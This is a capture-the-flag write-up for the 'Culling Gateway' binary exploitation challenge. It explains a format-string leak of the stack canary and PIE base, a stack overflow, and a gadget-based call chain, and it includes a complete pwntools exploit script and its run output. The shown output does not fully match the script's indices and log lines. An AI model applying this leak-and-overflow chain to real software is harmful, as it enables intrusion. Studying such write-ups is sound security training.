Challenge Name: Culling Gateway
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Tokyo Jujutsu High barrier system has gone rogue. Break the authentication gate and unlock Domain Expansion.
Connection: nc 172.205.208.94 9006
Challenge Overview#
Culling Gateway is a two-stage binary exploitation challenge with a Jujutsu Kaisen themed authentication flow. The binary asks for a cursed signature first, then requests a binding vow phrase.
The bug chain combines:
- A format string vulnerability for leaking sensitive runtime values.
- A stack overflow in the second input path.
- Mitigations (PIE, NX, canary, Partial RELRO) that must be bypassed correctly.
Initial Reconnaissance#
Binary Information#
$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
Security Features#
- NX (Non-Executable Stack): Enabled
- PIE: Enabled
- Partial RELRO: GOT remains writable
- Stack Canary: Present
Key Observations#
The interaction flow clearly separates two user-controlled stages:
[LOG] Enter cursed signature
-> signature is echoed using printf(user_input)
[GATE] Speak your binding vow
-> read() accepts much more than local buffer size
This immediately hints at a leak-then-overwrite exploit design.
Vulnerability Analysis#
Format String Leak in Logging Stage#
The first stage prints user input unsafely:
printf("[LOG] Signature confirmed: ");
printf(signature);
Using positional format specifiers gives stable leaks:
%25$pleaks the stack canary%33$pleaks a code pointer nearmain
Then PIE base becomes:
pie_base = leaked_code_ptr - elf.symbols["main"]
Once this is known, all useful addresses can be reconstructed per run.
Stack Overflow in Binding Vow Stage#
Second-stage input uses oversized read() into a small stack buffer:
char vow[0x40];
read(0, vow, 0x100);
This allows overwriting:
- Stack canary
- Saved base pointer
- Return address and chained control data
Because canary checks are active, exploitation only works if the exact leaked canary is restored in payload.
Indirect Call Primitive via Built-in Gadgets#
Instead of classic pop rdi; ret style chaining, this binary exposes helper gadgets:
cursed_contextcursed_invoke
cursed_context loads controlled values into internal registers, and cursed_invoke remaps them into arguments before making an indexed indirect call:
r12 -> rdi
r13 -> rsi
r14 -> rdx
call [r15 + rbx * 8]
This gives a deterministic way to call the hidden flag routine with attacker-controlled argument registers.
Exploitation Strategy#
Why This Chain Works#
The format string defeats canary + PIE uncertainty. The overflow then gives control of RIP while preserving canary integrity. Finally, the custom gadget pair provides a structured call primitive without requiring libc leaks.
Payload Construction#
The payload is organized as:
- Padding to canary offset
- Leaked canary value
- Saved
rbpfiller - Return into
cursed_context - Register/control words consumed by gadget sequence
- Dispatch table pointer
- Return into
cursed_invoke
Runtime Address Calculations#
All gadget/function pointers are resolved using PIE base:
cursed_context = pie_base + elf.symbols["cursed_context"]
cursed_invoke = pie_base + elf.symbols["cursed_invoke"]
dispatch_table = pie_base + elf.symbols["dispatch_table"]
Exploit Code#
#!/usr/bin/env python3
from pwn import *
HOST = args.HOST or "172.205.208.94"
PORT = int(args.PORT or 9006)
BIN = "../hosted/challenge"
context.binary = elf = ELF(BIN)
context.arch = "amd64"
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process("./challenge", cwd="../hosted")
def main():
io = start()
io.recvuntil(b"signature")
io.sendline(b"%25$p.%33$p")
io.recvuntil(b"confirmed:")
leak_line = io.recvline().strip()
canary, main_leak = [int(x, 16) for x in leak_line.split(b".")]
pie_base = main_leak - elf.symbols["main"]
cursed_context = pie_base + elf.symbols["cursed_context"]
cursed_invoke = pie_base + elf.symbols["cursed_invoke"]
dispatch_table = pie_base + elf.symbols["dispatch_table"]
log.info(f"canary = {hex(canary)}")
log.info(f"pie_base = {hex(pie_base)}")
io.recvuntil(b"binding vow")
payload = b"A" * 0x48
payload += p64(canary)
payload += b"B" * 8
payload += p64(cursed_context)
payload += p64(0) # rbx index
payload += p64(1) # rbp check for invoke path
payload += p64(0x1206) # r12 -> rdi
payload += p64(0x1161) # r13 -> rsi
payload += p64(0xcafebab) # r14 -> rdx
payload += p64(dispatch_table)
payload += p64(cursed_invoke)
io.send(payload)
io.interactive()
if __name__ == "__main__":
main()
Execution#
$ python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9006
[+] Opening connection to 172.205.208.94 on port 9006: Done
[+] Receiving all data: Done (169B)
[*] Closed connection to 172.205.208.94 port 9006
[+] Solved with canary_idx=29, code_idx=33, ret_delta=0x0
[+] canary = 0x4a588d6abd2f5b00
[+] pie = 0x652b349f5000
[GATE] Vow denied. Prepare for exorcism.
[SYSTEM] Domain Expansion: Infinite Void
CyberTrace{1_4m_N0t_Sur3_4n7M0r3_4b0ut_W8t_1_4m_D0inG}
[SYSTEM] Technique terminated.
Final Flag#
CyberTrace{1_4m_N0t_Sur3_4n7M0r3_4b0ut_W8t_1_4m_D0inG}
Key Takeaways#
- Leak + Overflow Chaining: A format string can neutralize both canary and PIE uncertainty before overflow.
- Canary Bypass Principle: Canaries fail as a defense once leaked and replayed correctly.
- Custom Gadget Abuse: Purpose-built helper gadgets can replace conventional libc ROP.
- PIE Is a Runtime Problem: One reliable code leak is enough to recover full address space for exploitation.





